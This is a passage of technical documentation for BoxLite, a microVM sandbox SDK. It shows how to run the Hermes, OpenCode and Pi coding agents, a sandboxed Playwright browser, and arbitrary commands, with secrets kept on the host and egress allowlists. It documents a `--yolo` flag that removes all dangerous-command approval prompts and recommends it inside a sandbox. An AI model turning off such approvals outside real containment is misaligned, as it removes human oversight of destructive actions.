theme={"theme":{"light":"github-light","dark":"github-dark"}} $ hermes --version Hermes Agent v0.20.4 (2026.8.18) Install directory: /opt/hermes Python: 3.13.5 $ which hermes hermes-agent hermes-acp /opt/hermes/bin/hermes /opt/hermes/.venv/bin/hermes-agent /opt/hermes/.venv/bin/hermes-acp ``` | Entry point | Purpose | | - | - | | `hermes` | Terminal UI, or a one-shot prompt with `-z` | | `hermes-agent` | The agent runner | | `hermes-acp` | Agent Client Protocol adapter | ## Parameters and Returns From `hermes --help` inside the image: | Flag | Meaning | | - | - | | `-z PROMPT` | Run the prompt and exit — the non-interactive entry point | | `-m MODEL` | Model to use | | `--provider PROVIDER` | Provider override for this invocation | | `--reasoning LEVEL` | Reasoning level | | `-t TOOLSETS` | Restrict which toolsets the agent may use | | `--yolo` | Bypass all dangerous-command approval prompts | | `--safe-mode` | Troubleshooting mode | | `--ignore-user-config` | Ignore user configuration — useful for a reproducible box | | `--tui` / `--cli` | Force the interface | Subcommands include `chat`, `model`, `secrets`, `egress`, `gateway`, `proxy`, `setup`, and messaging integrations. `hermes gateway run` starts the messaging gateway in the foreground; `gateway` also has `start` / `stop` / `status` for supervised operation. ## Running the gateway behind a forwarded port For chat over Telegram, Discord, and similar messaging platforms, run the gateway instead of one-shot prompts and forward its port. The service must bind all interfaces — a forwarded port arrives at the guest's network interface, not its loopback: ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio from boxlite import SimpleBox GATEWAY_PORT = 8080 async def wait_for_port(box, port: int, timeout: float = 300.0, interval: float = 3.0) -> bool: """Poll /proc/net/tcp inside the box until the port is listening. exec returns as soon as a command is launched, so nothing health-checks a backgrounded service for you. /proc/net/tcp lists ports in uppercase hex. """ port_hex = f"{port:04X}" loop = asyncio.get_running_loop() deadline = loop.time() + timeout while loop.time() < deadline: result = await box.exec("cat", "/proc/net/tcp") if port_hex in result.stdout.upper(): return True await asyncio.sleep(interval) return False async def main() -> None: try: async with SimpleBox( image="docker.io/nousresearch/hermes-agent:latest", memory_mib=4096, disk_size_gb=12, ports=[(GATEWAY_PORT, GATEWAY_PORT)], ) as box: # Launch in the background — this exec returns immediately. # The gateway runs beside init, so the box survives a gateway crash and # the port simply stops answering. Check the log, not the box status. await box.exec("sh", "-c", "nohup hermes gateway run > /tmp/gateway.log 2>&1 &") if not await wait_for_port(box, GATEWAY_PORT): # The gateway's own log is the only place the reason appears log = await box.exec("cat", "/tmp/gateway.log") print(f"gateway did not come up:\n{log.stdout}{log.stderr}") return print(f"gateway ready on http://127.0.0.1:{GATEWAY_PORT}") # Keep the box alive for as long as you need the gateway await asyncio.sleep(3600) except RuntimeError as exc: print(f"runtime error: {exc}") if __name__ == "__main__": asyncio.run(main()) ``` Configure the gateway with `hermes gateway setup` before relying on it; the flags it needs depend on which messaging platform you connect. ## Why `--yolo` belongs in a box Hermes asks for approval before dangerous commands, which is the right default on a laptop and a blocker for anything unattended. `--yolo` removes those prompts. Inside a box that trade is sound: the agent can do whatever it wants to a disposable VM, and the host is untouched. What that does **not** cover is the network. An agent with unrestricted egress can still send data out. Narrow it when the task is not fully trusted: ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} from boxlite import SimpleBox, Secret, NetworkSpec box = SimpleBox( image="docker.io/nousresearch/hermes-agent:latest", disk_size_gb=12, secrets=[Secret(name="provider", value="", hosts=[""])], network=NetworkSpec(mode="enabled", allow_net=[""]), ) ``` With `Secret` the real key stays on the host and the box sees only a placeholder — see [Secrets and hardening](/manage-sandbox/secrets-and-security). Hermes also has its own `hermes egress` subcommand; the box-level allowlist and the agent-level control are independent, and the box-level one is the boundary you can rely on. ## Troubleshooting | Symptom | Cause | Fix | | - | - | - | | The box takes minutes to start | The image is roughly 900 MB and is pulled on first use | Expected once per image; later starts use the cache | | `No space left on device` while starting | The default box disk is too small for this image | `disk_size_gb=12` — measured at 26% used | | The run stops waiting for confirmation | Hermes asks before dangerous commands | Add `--yolo` when the box is your containment | | A user config on a mounted volume changes behavior unexpectedly | Hermes reads user configuration by default | Add `--ignore-user-config` for a reproducible run | | The gateway is unreachable from the host | The service bound loopback inside the box | Bind all interfaces; see [Network access](/manage-sandbox/network-access#port-forwarding-ports) | | `exec` returned non-zero but nothing raised | `exec` never raises on a non-zero exit | Check `result.exit_code` and read `result.stderr` | ## Related * [Preview a sandboxed web app](/use-cases/sandboxed-web-app) — the general shape of forwarding a long-running service out of a box. * [Run Pi](/agent-in-box/run-pi) — a CLI you install into a box rather than a prebuilt image. * [Secrets and hardening](/manage-sandbox/secrets-and-security) — keeping the provider key outside the sandbox. # Run OpenCode Source: https://docs.boxlite.ai/agent-in-box/run-opencode Install and drive the OpenCode CLI inside a microVM, configuring its provider without writing a config file into the image. OpenCode takes its whole configuration as a JSON string in an environment variable, which suits a disposable box: nothing to mount, nothing left behind, and the provider block can be assembled by your orchestration code. ## Prerequisites * The `boxlite` Python package and a machine with hardware virtualization — see [Installation](/getting-started/installation#platform-and-virtualization-requirements-common-to-all-sdks). * An API key for a provider OpenCode supports. * A Node image for the box. OpenCode installs from npm, so `node:20-slim` or newer works. ## Quick Example Install the CLI, inject a provider through `OPENCODE_CONFIG_CONTENT`, and run one prompt. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio import json from boxlite import SimpleBox API_KEY = "" # TODO: read from your own secret store BASE_URL = "/v1" # must end at /v1 — see Troubleshooting MODEL_ID = "" # OpenCode reads its entire configuration from this JSON string, so nothing is # written into the image and the key never lands in a file inside the box. CONFIG = json.dumps({ "provider": { "custom": { "npm": "@ai-sdk/anthropic", "name": "Custom endpoint", "options": {"baseURL": BASE_URL, "apiKey": API_KEY}, "models": {MODEL_ID: {"name": MODEL_ID}}, } } }) async def run(box, *cmd, env=None, timeout=None): result = await box.exec(*cmd, env=env, timeout=timeout) # exec does not raise on a non-zero exit — check it yourself if result.exit_code != 0: raise RuntimeError(f"`{' '.join(cmd)}` failed (exit={result.exit_code}): {result.stderr}") return result async def main() -> None: try: async with SimpleBox(image="node:20-slim", memory_mib=2048, disk_size_gb=8) as box: await run(box, "npm", "install", "-g", "opencode-ai", timeout=600.0) version = await run(box, "opencode", "--version") print("opencode:", version.stdout.strip()) answer = await run( box, "sh", "-c", f'opencode run "Write a one-line Python snippet that reverses a string." ' f'-m custom/{MODEL_ID} < /dev/null', env={"OPENCODE_CONFIG_CONTENT": CONFIG}, timeout=300.0, ) print(answer.stdout) except RuntimeError as exc: print(f"runtime error: {exc}") if __name__ == "__main__": asyncio.run(main()) ``` Verified output shape from a real run of the same command — OpenCode prints the agent and model it selected, then the answer: ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} opencode: 1.18.18 > build · def reverse(s: str) -> str: return s[::-1] ``` Seeing the `> build · ` line is the signal that the provider block was accepted. If the model does not resolve, you get an error instead of that line. Verified inside a box on macOS (Apple Silicon): the global npm install took about **20 s** and the prompt returned **6 s** later. An 8 GB disk came back **9% used**. ## Parameters and Returns From `opencode --help` and `opencode run --help`: | Entry point | Meaning | | - | - | | `opencode run [message..]` | Run with a message and exit | | `-m`, `--model ` | Model, qualified by provider name | | `--agent ` | Agent to use | | `-c`, `--continue` | Continue the last session | | `-s`, `--session ` | Continue a specific session | | `-f`, `--file ` | Attach files to the message | | `--print-logs` | Print logs to stderr — the first thing to turn on when a run misbehaves | | `opencode serve` | Start a headless server instead of a one-shot run | | `opencode providers` | Manage credentials interactively (alias `auth`) | Configuration environment variables: `OPENCODE_CONFIG_CONTENT` (whole config as JSON), `OPENCODE_CONFIG` (path to a config file), `OPENCODE_CONFIG_DIR`. ## Keeping the API key out of the box `OPENCODE_CONFIG_CONTENT` keeps the key out of any file, but it is still an environment variable inside the sandbox. To keep the real value on the host entirely, put a placeholder in the config and let the proxy substitute it on the way out: ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} from boxlite import SimpleBox, Secret, NetworkSpec box = SimpleBox( image="node:20-slim", disk_size_gb=8, secrets=[Secret(name="provider", value="", hosts=[""])], network=NetworkSpec(mode="enabled", allow_net=["registry.npmjs.org", ""]), ) ``` The placeholder goes where the key would have gone in the config JSON. Substitution covers request headers, the URL query string, and the request body — not the URL path. See [Secrets and hardening](/manage-sandbox/secrets-and-security) for the placeholder format. ## Long-running use: `opencode serve` For more than one prompt, run the headless server and forward its port instead of installing and starting it on every call: ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} async with SimpleBox(image="node:20-slim", disk_size_gb=8, ports=[(4096, 4096)]) as box: await run(box, "npm", "install", "-g", "opencode-ai", timeout=600.0) await run(box, "sh", "-c", "nohup opencode serve > /tmp/opencode.log 2>&1 &") # Poll the forwarded port before sending work; exec returns as soon as the # command is launched and does not health-check the service for you. ``` Port forwarding requires the service to bind `0.0.0.0` rather than `127.0.0.1` — see [Network access](/manage-sandbox/network-access#port-forwarding-ports). ## Troubleshooting | Symptom | Cause | Fix | | - | - | - | | `404 Page not found` on the first prompt | The adapter requests `{baseURL}/messages`, so a `baseURL` that stops before `/v1` cannot form `/v1/messages` | End `baseURL` at `/v1` | | `Error: {"name":"UnknownError",...}` and no `> build` line | OpenCode did not resolve a provider; it ignores `ANTHROPIC_BASE_URL` and similar variables | Supply the provider through `OPENCODE_CONFIG_CONTENT` as above | | `npm install -g` fails with `ENOSPC: no space left on device` | The default box disk is too small | `SimpleBox(..., disk_size_gb=8)` — measured at 9% used after install | | The command hangs and never returns | The CLI is waiting on stdin | Append `< /dev/null` | | No idea why a run failed | Errors are terse by default | Add `--print-logs` and read stderr | ## Related * [Run Pi](/agent-in-box/run-pi) — configures custom endpoints through a config file instead of an environment variable. * [Run Codex](/agent-in-box/run-codex) — configures its endpoint through environment variables. * [Network access](/manage-sandbox/network-access) — forwarding `opencode serve` to the host. # Run Pi Source: https://docs.boxlite.ai/agent-in-box/run-pi Install and drive the Pi coding agent inside a microVM, where it can read, write, and execute freely while your host and your provider key stay outside. Pi is a coding-agent CLI with read, bash, edit, and write tools. Its own documentation notes that running the whole process in a plain container means "provider API keys enter the container" — a box plus `Secret` removes that trade-off. ## Prerequisites * The `boxlite` Python package and a machine with hardware virtualization — see [Installation](/getting-started/installation#platform-and-virtualization-requirements-common-to-all-sdks). * An API key for a provider Pi supports (Anthropic, OpenAI, Google, or any endpoint speaking one of those APIs). * A Node image for the box. Pi installs from npm, so `node:20-slim` or newer works. ## Quick Example Install Pi into a box, point it at a provider, and run one non-interactive prompt. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio from boxlite import SimpleBox MODEL = "" # e.g. a model id your provider serves API_KEY = "" # TODO: read from your own secret store async def run(box, *cmd, env=None, user=None, timeout=None): result = await box.exec(*cmd, env=env, user=user, timeout=timeout) # exec does not raise on a non-zero exit — check it yourself if result.exit_code != 0: raise RuntimeError(f"`{' '.join(cmd)}` failed (exit={result.exit_code}): {result.stderr}") return result async def main() -> None: try: # disk_size_gb leaves room for a global npm install async with SimpleBox(image="node:20-slim", memory_mib=2048, disk_size_gb=8) as box: # 1) Install the CLI. --ignore-scripts is what Pi's own docs recommend. await run(box, "npm", "install", "-g", "--ignore-scripts", "@earendil-works/pi-coding-agent", timeout=600.0) version = await run(box, "pi", "--version") print("pi:", version.stdout.strip()) # 2) Run one prompt and exit. < /dev/null keeps the CLI from waiting on stdin. answer = await run( box, "sh", "-c", f'pi -p "Write a one-line Python snippet that reverses a string." ' f'--provider anthropic --model {MODEL} --no-session < /dev/null', env={"ANTHROPIC_API_KEY": API_KEY}, timeout=300.0, ) print(answer.stdout) except RuntimeError as exc: print(f"runtime error: {exc}") if __name__ == "__main__": asyncio.run(main()) ``` ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} pi: 0.84.2 def reverse(s: str) -> str: return s[::-1] ``` Verified inside a box on macOS (Apple Silicon): the box was up in **19 s**, the global npm install finished at **72 s**, and the prompt returned at **77 s**. An 8 GB disk came back **7% used**, so `disk_size_gb=8` has ample headroom. ## Parameters and Returns The CLI surface used above, all from `pi --help`: | Flag | Meaning | | - | - | | `-p`, `--print` | Non-interactive: process the prompt and exit | | `--provider ` | Provider to use. Defaults to `google` | | `--model ` | Model id, or `provider/id` | | `--api-key ` | Key on the command line; otherwise read from the environment | | `--mode ` | Output mode: `text` (default), `json`, or `rpc` | | `--no-session` | Do not persist the session — the right default for a disposable box | | `--list-models` | List models the configured providers expose. Useful as a readiness check | Pi reads its configuration from `~/.pi/agent`. Set **`PI_CODING_AGENT_DIR`** to relocate it. Inside a box, that keeps configuration on a path you control rather than in the image's home directory. ## Machine-readable output `--mode json` emits one JSON object per line. The type sequence for a successful turn is: ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} session → agent_start → turn_start → message_start → message_end → turn_end → agent_end ``` The assistant's `message_end` carries what you need: ```json theme={"theme":{"light":"github-light","dark":"github-dark"}} {"type":"message_end","message":{"role":"assistant","stopReason":"stop", "content":[{"type":"text","text":"..."}],"usage":{"totalTokens":1970}}} ``` **Read `stopReason`, not the exit code.** `pi -p` exits `0` even when the model call fails; the failure shows up as `stopReason: "error"` plus an `errorMessage` field, and Pi retries up to three times (`auto_retry_start`, backing off 2000 ms then 4000 ms) before giving up — still with exit code `0`. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import json async def run_pi_json(box, prompt: str, model: str, api_key: str) -> str: result = await box.exec( "sh", "-c", f'pi -p "{prompt}" --provider anthropic --model {model} ' f'--mode json --no-session < /dev/null', env={"ANTHROPIC_API_KEY": api_key}, timeout=300.0, ) for line in result.stdout.splitlines(): try: event = json.loads(line) except ValueError: continue message = event.get("message", {}) if event.get("type") == "message_end" and message.get("role") == "assistant": if message.get("stopReason") == "error": raise RuntimeError(f"pi failed: {message.get('errorMessage')}") return "".join(b["text"] for b in message["content"] if b.get("type") == "text") raise RuntimeError("no assistant message in pi output") ``` ## Keeping the provider key out of the box The example above passes the key in as an environment variable, which means it exists inside the sandbox. When that is not acceptable, inject it at the proxy instead: the box sees only a placeholder, and BoxLite substitutes the real value on outbound requests to the hosts you allow. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} from boxlite import SimpleBox, Secret, NetworkSpec secret = Secret( name="provider", value="", # stays on the host hosts=["api.anthropic.com"], # substituted only for these hosts ) box = SimpleBox( image="node:20-slim", disk_size_gb=8, secrets=[secret], network=NetworkSpec(mode="enabled", allow_net=["registry.npmjs.org", "api.anthropic.com"]), ) ``` Substitution covers request headers, the URL query string, and the request body — not the URL path. Details and the exact placeholder format are on [Secrets and hardening](/manage-sandbox/secrets-and-security). ## Custom or self-hosted endpoints Pi's built-in providers use their vendors' own endpoints and **ignore `ANTHROPIC_BASE_URL` / `OPENAI_BASE_URL`**. Pointing `--provider anthropic` at a compatible third-party endpoint through those variables fails with a `401 authentication_error` from the official host. To use a different endpoint, declare a provider in `models.json` under the directory `PI_CODING_AGENT_DIR` points at: ```json theme={"theme":{"light":"github-light","dark":"github-dark"}} { "providers": { "my-endpoint": { "baseUrl": "https:///anthropic", "api": "anthropic-messages", "apiKey": "", "models": [{"id": "", "name": "", "contextWindow": 128000, "maxTokens": 8192}] } } } ``` Then select it with `--provider my-endpoint --model my-endpoint/`. Confirm the box can see it with `pi --list-models` before spending a real prompt. ## Troubleshooting | Symptom | Cause | Fix | | - | - | - | | `npm install -g` fails with `ENOSPC: no space left on device` | The default box disk is too small for a global Node install | `SimpleBox(..., disk_size_gb=8)` — measured at 7% used after install | | The command hangs and never returns | The CLI is waiting on stdin | Append `< /dev/null` | | `401 authentication_error` naming a vendor host you did not configure | A built-in provider ignored your `*_BASE_URL` and used the vendor endpoint | Declare a custom provider in `models.json` as above | | The prompt "succeeded" but produced nothing useful | `pi -p` exits `0` on failure | Use `--mode json` and check `stopReason` / `errorMessage` | | `Model "" not found for provider "". Using custom model id.` | The model is not in Pi's bundled catalogue for that provider | Expected for custom endpoints — the call still proceeds | | Sessions accumulate inside the box | Pi persists sessions by default | Pass `--no-session`, or point `PI_CODING_AGENT_DIR` at a path you clean up | ## Related * [Run Claude Code](/agent-in-box/run-claude-code) — the same pattern with the Claude Code CLI, plus `SkillBox` and a noVNC desktop. * [Run Codex](/agent-in-box/run-codex) — OpenAI's CLI, which reads its endpoint from environment variables instead. * [Secrets and hardening](/manage-sandbox/secrets-and-security) — keeping the provider key outside the sandbox. * [Drive a sandbox from your agent loop](/agent-tools/drive-from-agent-loop) — the inverse arrangement, where your process owns the loop. # Browser automation Source: https://docs.boxlite.ai/agent-tools/browser-automation BrowserBox runs a real Chromium, Firefox, or WebKit inside an isolated microVM and exposes a WebSocket endpoint — your Playwright script stays on the host, only the browser and what it downloads run in the sandbox. `BrowserBox` does not run your automation script inside the box. It places the browser inside the box and exposes a WebSocket endpoint; **your script runs on the host** and drives the browser remotely, so untrusted page JavaScript, downloads, and cookies never reach your machine. *** ## Prerequisites * A working BoxLite install (Python `boxlite` or Node `@boxlite-ai/boxlite`) and a machine with hardware virtualization — see [Installation](/getting-started/installation#platform-and-virtualization-requirements-common-to-all-sdks). * Install the browser-driver client (used to connect from the host): * Python: `pip install "playwright==1.58.0"` (you do **not** need `playwright install`; the browser lives in the sandbox) * Node: `npm install playwright-core@1.58.0` (an optional peer dependency of `@boxlite-ai/boxlite`) * **The client version must match the Playwright Server version inside the sandbox (1.58.0).** If you install an unpinned `pip install playwright` that resolves to a newer version (for example 1.60.0), `connect()` receives `428 Precondition Required`, reports `Playwright version mismatch`, and fails. Pin `1.58.0` explicitly. * The first run pulls the image `mcr.microsoft.com/playwright:v1.58.0-jammy` (several GB); this requires network access and takes a while. *** ## Quick Example (happy path) The snippet below starts an isolated Chromium from the host, navigates to example.com, and prints the title. It is ready to copy and run. ```python Python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio import boxlite # Connecting to the in-sandbox browser from the host requires the pinned playwright client: pip install "playwright==1.58.0" from playwright.async_api import async_playwright async def main() -> None: # BrowserBox is an async context manager; entering sets up the browser environment inside the sandbox async with boxlite.BrowserBox() as browser_box: # Get the Playwright Server WebSocket endpoint (defaults to ws://localhost:3000/) ws_endpoint = await browser_box.playwright_endpoint() print(f"endpoint: {ws_endpoint}") async with async_playwright() as p: # Use connect() (not launch()) to attach to the browser inside the sandbox browser = await p.chromium.connect(ws_endpoint) try: page = await browser.new_page() await page.goto("https://example.com") print("title:", await page.title()) finally: await browser.close() if __name__ == "__main__": try: asyncio.run(main()) except Exception as exc: # Catch startup/connection/pull failures to avoid an unhandled crash print(f"BrowserBox failed: {type(exc).__name__}: {exc}") ``` ```typescript Node.js theme={"theme":{"light":"github-light","dark":"github-dark"}} import { BrowserBox } from "@boxlite-ai/boxlite"; import { chromium } from "playwright-core"; async function main(): Promise { // Note: BrowserBox is created lazily; the browser only starts on the first endpoint method call const box = new BrowserBox({ browser: "chromium" }); try { const wsEndpoint = await box.playwrightEndpoint(); console.log(`endpoint: ${wsEndpoint}`); const browser = await chromium.connect(wsEndpoint); try { const page = await browser.newPage(); await page.goto("https://example.com"); console.log("title:", await page.title()); } finally { await browser.close(); } } catch (err) { console.error("BrowserBox failed:", err); } finally { // When not using `await using` for auto-cleanup, stop manually to release the box // (SimpleBox also implements Symbol.asyncDispose, so you may use `await using`) await box.stop(); } } main(); ``` `@boxlite-ai/boxlite` is an ESM-only package, so the Node example uses ESM syntax. *** ## Two connection modes `BrowserBox` offers two mutually exclusive ways to connect; a single instance can use only one of them: | Mode | Method | Protocol | Supported browsers | Use for | | - | - | - | - | - | | Playwright Server (recommended) | `playwright_endpoint()` / `playwrightEndpoint()` | Playwright's own WS protocol | chromium / firefox / webkit | Most scenarios, paired with Playwright `connect()` | | Direct CDP / BiDi | `endpoint()` | Chromium = CDP, Firefox = WebDriver BiDi | chromium / firefox (**WebKit not supported**) | Puppeteer, Selenium, or any CDP/BiDi client | > A single instance cannot use both `playwright_endpoint()` and `endpoint()` — both bind host port 3000. If you need both modes, start a separate `BrowserBox` for each. Convenience helper `connect()`: returns an already-connected Playwright `Browser` object directly (it uses Playwright Server mode internally), saving you the manual `connect(ws)` step. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio import boxlite async def main() -> None: # WebKit only works in Playwright Server mode; connect() wraps exactly that async with boxlite.BrowserBox(boxlite.BrowserBoxOptions(browser="webkit")) as box: browser = await box.connect() # requires pip install "playwright==1.58.0" try: page = await browser.new_page() await page.goto("https://example.com") print("title:", await page.title()) finally: await browser.close() if __name__ == "__main__": try: asyncio.run(main()) except Exception as exc: print(f"failed: {type(exc).__name__}: {exc}") ``` *** ## Parameters & Returns ### `BrowserBoxOptions` (Python, dataclass) Construct as `BrowserBox(options=BrowserBoxOptions(...))`. | Field | Type | Required | Default | Description | | - | - | - | - | - | | `browser` | `str` | No | `"chromium"` | `chromium` / `firefox` / `webkit` | | `memory` | `int` | No | `2048` | Sandbox memory (MiB) | | `cpu` | `int` | No | `2` | Number of CPU cores | | `port` | `int \| None` | No | `None` (i.e. 3000) | Host port for the Playwright Server | | `cdp_port` | `int \| None` | No | `None` (i.e. 9222) | Host port for CDP / Puppeteer | `BrowserBox` also accepts extra `**kwargs` that are passed through to the underlying `SimpleBox` (such as `volumes`, `env`, `ports`, `name`, `auto_remove`). ### Node options (`BrowserBoxOptions`, object) `new BrowserBox({ ... })` inherits from `SimpleBoxOptions` (`Omit` — that is, `image` is removed, and `cpus` / `memoryMib` are re-declared as optional fields with browser defaults) and adds browser-specific fields: | Field | Type | Required | Default | Description | | - | - | - | - | - | | `browser` | `"chromium" \| "firefox" \| "webkit"` | No | `"chromium"` | Browser type | | `port` | `number` | No | `3000` | Host port for the Playwright Server | | `cdpPort` | `number` | No | `9222` | Host port for CDP | | `memoryMib` | `number` | No | `2048` | Memory (MiB) | | `cpus` | `number` | No | `2` | Number of CPU cores | ### Methods / return values | Method (Python / Node) | Returns | Description | | - | - | - | | `playwright_endpoint(timeout=60)` / `playwrightEndpoint(timeout?)` | `str`, like `ws://localhost:3000/` | Playwright Server WS endpoint; starts the server automatically if not running. Works for all browsers | | `endpoint(timeout=60)` / `endpoint(timeout?)` | `str`, a CDP/BiDi WS endpoint | Direct mode; WebKit not supported (Python raises `ValueError`, Node raises `BoxliteError`) | | `connect(timeout=60)` / `connect(options?)` | A connected Playwright `Browser` | Convenience wrapper, internally uses Server mode | | `browser` (property) | `str` | Current browser type | | `stop()` | — | Stop and release the box (called explicitly in Node; in Python it happens automatically when the `async with` block exits) | Image and version (fixed): the default image is `mcr.microsoft.com/playwright:v1.58.0-jammy`, corresponding to Playwright **1.58.0**. The client used to connect from the host **must** also be **1.58.0** (a mismatched client is rejected by the server; see Troubleshooting). *** ## Advanced: screenshots and form interaction Once you have the endpoint, everything else is standard Playwright API (running on the host). The example below shows navigation, a screenshot, and filling a form, with the screenshot saved on the host (not inside the sandbox). ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio import boxlite from playwright.async_api import async_playwright async def main() -> None: async with boxlite.BrowserBox() as browser_box: ws_endpoint = await browser_box.playwright_endpoint() async with async_playwright() as p: browser = await p.chromium.connect(ws_endpoint) try: page = await browser.new_page() await page.set_viewport_size({"width": 1280, "height": 720}) await page.goto("https://httpbin.org/forms/post") await page.fill('input[name="custname"]', "John Doe") await page.fill('input[name="custemail"]', "john@example.com") await page.check('input[value="medium"]') # Write the screenshot to a local host path (replace with your own path) await page.screenshot(path="/form.png") # e.g. ./form.png print("screenshot saved") finally: await browser.close() if __name__ == "__main__": try: asyncio.run(main()) except Exception as exc: print(f"failed: {type(exc).__name__}: {exc}") ``` ### Parallel / cross-browser (each on its own port) When launching multiple browsers in parallel, you must assign a **different host port** to each instance, otherwise the ports collide. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio import boxlite from playwright.async_api import async_playwright async def run_one(browser_type: str, port: int) -> None: opts = boxlite.BrowserBoxOptions(browser=browser_type, port=port) async with boxlite.BrowserBox(opts) as box: ws = await box.playwright_endpoint() async with async_playwright() as p: launcher = getattr(p, browser_type) # p.chromium / p.firefox / p.webkit (selected dynamically) browser = await launcher.connect(ws) try: page = await browser.new_page() await page.goto("https://example.com") print(f"{browser_type}: {await page.title()}") finally: await browser.close() async def main() -> None: await asyncio.gather( run_one("chromium", 3000), run_one("firefox", 3001), ) if __name__ == "__main__": try: asyncio.run(main()) except Exception as exc: print(f"failed: {type(exc).__name__}: {exc}") ``` *** ## Troubleshooting | Symptom / error | Cause | Fix | | - | - | - | | Box fails to start / hangs for a long time | The host has no hardware virtualization (KVM / Hypervisor.framework) | On Linux confirm `/dev/kvm` is available and the user is in the `kvm` group; WSL2 needs nested virtualization enabled; macOS Apple Silicon works by default. Without virtualization it cannot run | | First run stuck pulling the image / `RuntimeError` | Pulling `mcr.microsoft.com/playwright:v1.58.0-jammy` (several GB), or a network hiccup caused the pull to fail | Reserve time and bandwidth; on failure, retry inside `try/except`. **Note: a pull failure raises a standard `RuntimeError`, not `BoxliteError`** | | `ImportError: playwright is required for connect()` | The Playwright client is not installed on the host | `pip install "playwright==1.58.0"` (Node: `npm install playwright-core@1.58.0`). The browser is in the sandbox, so you do not need `playwright install` | | `connect()` reports `428 Precondition Required` / `Playwright version mismatch` | The host Playwright client version differs from the in-sandbox server (1.58.0); Playwright's WS `connect` protocol enforces a major/minor version check | Pin the client to `1.58.0`: `pip install "playwright==1.58.0"` / `npm install playwright-core@1.58.0` | | `Puppeteer does not support WebKit` (Python `ValueError` / Node `BoxliteError`) | `endpoint()` (direct CDP mode) was called for WebKit | WebKit can only use `playwright_endpoint()` + Playwright `connect()`, or the convenience `connect()` | | `Cannot use endpoint() when Playwright Server is already running` (Python `RuntimeError` / Node `BoxliteError`) | The same instance called `playwright_endpoint()` first and then `endpoint()` | The two modes are mutually exclusive; start a separate `BrowserBox` for Puppeteer use | | Port collisions / connection failures with parallel browsers | Multiple instances all use the default host port 3000 | Set a distinct `port` per instance explicitly (e.g. 3000, 3001, 3002) | | `TimeoutError: Playwright Server ... did not start within 60s` | Wrong image (missing browser binaries) or insufficient resources | Confirm you are using the default Playwright image; raise `memory` / `cpu`; increase `playwright_endpoint(timeout=...)` | | Firefox `new_page()` hangs in headless (direct BiDi mode) | A limitation of Puppeteer / Firefox BiDi mode | Prefer Playwright Server mode; if you must connect directly, use `browser.pages()[0]` instead of creating a new page | *** ## Related pages * [Run Python code in a box](/agent-tools/code-execution-python) * [Agent Tools overview](/agent-tools/index) # Run any language / command Source: https://docs.boxlite.ai/agent-tools/code-execution-any-language Run any shell command or executable — in any language — inside a disposable microVM, and read back a structured stdout / stderr / exit code. `SimpleBox.exec()` moves the execute step wholesale into the sandbox, so an agent's `rm -rf` or unknown package install leaves the host untouched. Anything present in the image runs: `python`, `node`, `go run`, `bash`, your own binary. ## Quick Example (minimal happy path) The snippet below runs as-is. It starts an Alpine box, runs one command, and reads the result back. ```python Python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio from boxlite import SimpleBox async def main() -> None: # The box is created lazily: the microVM actually starts on entering async with async with SimpleBox(image="alpine:latest") as box: # cmd is the program name; *args are its arguments result = await box.exec("echo", "Hello from BoxLite!") print("stdout:", result.stdout.strip()) print("stderr:", result.stderr.strip()) print("exit_code:", result.exit_code) if __name__ == "__main__": try: asyncio.run(main()) except RuntimeError as e: # No virtualization / image pull failure raises a standard RuntimeError (see Troubleshooting) print(f"BoxLite failed to run: {e}") ``` ```typescript Node.js theme={"theme":{"light":"github-light","dark":"github-dark"}} import { SimpleBox } from "@boxlite-ai/boxlite"; async function main(): Promise { const box = new SimpleBox({ image: "alpine:latest" }); try { // exec(cmd, ...args) const result = await box.exec("echo", "Hello from BoxLite!"); console.log("stdout:", result.stdout.trim()); console.log("exitCode:", result.exitCode); // note the camelCase exitCode } catch (err) { console.error("BoxLite failed to run:", err); } finally { await box.stop(); // release resources (auto_remove defaults to true) } } main(); ``` To run a different language, change the program name. For example, have an agent run a piece of Python it generated (this variant has no separate Node translation — the pattern is identical, only the program name and arguments change): ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio from boxlite import SimpleBox async def main() -> None: # Run any language: if the image has python you can exec python; node/go/bash work the same way async with SimpleBox(image="python:alpine") as box: agent_code = "import sys; print(sys.version.split()[0])" result = await box.exec("python", "-c", agent_code) if result.exit_code == 0: print("Python version in box:", result.stdout.strip()) else: # Note: a non-zero exit code does *not* raise; you must check exit_code print("Command failed:", result.stderr.strip()) if __name__ == "__main__": try: asyncio.run(main()) except RuntimeError as e: print(f"BoxLite failed to run: {e}") ``` *** ## Common Usage ### Set environment variables, working directory, and run user Environment variables use a **dict** (not a list) and are injected for this `exec` call: ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio from boxlite import SimpleBox async def main() -> None: async with SimpleBox(image="python:alpine") as box: # env uses a dict; user has the form "[:]", like docker exec --user result = await box.exec( "env", env={"FOO": "bar", "BAZ": "qux"}, # must be a dict cwd="/tmp", # working directory inside the container user="nobody", # run as non-root ) # The env command output contains only the injected variables (FOO/BAZ), not PWD. # To confirm cwd took effect, run pwd separately (see below); it returns /tmp. for line in result.stdout.splitlines(): if line.startswith(("FOO=", "BAZ=")): print(line) # Run pwd separately to confirm cwd pwd = await box.exec("pwd", cwd="/tmp", user="nobody") print("cwd:", pwd.stdout.strip()) # -> /tmp if __name__ == "__main__": try: asyncio.run(main()) except RuntimeError as e: print(f"BoxLite failed to run: {e}") ``` ### Streaming / incremental output collection `SimpleBox.exec` already collects stdout and stderr concurrently internally (to avoid the deadlock of a full pipe buffer) and returns them together when done. If you want **truly line-by-line streaming** (consume output while it runs), drill down to the lower-level `Box` (the `SimpleBox` internal handle `box._box`) to get the async iterator streams of an `Execution`: ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio from boxlite import 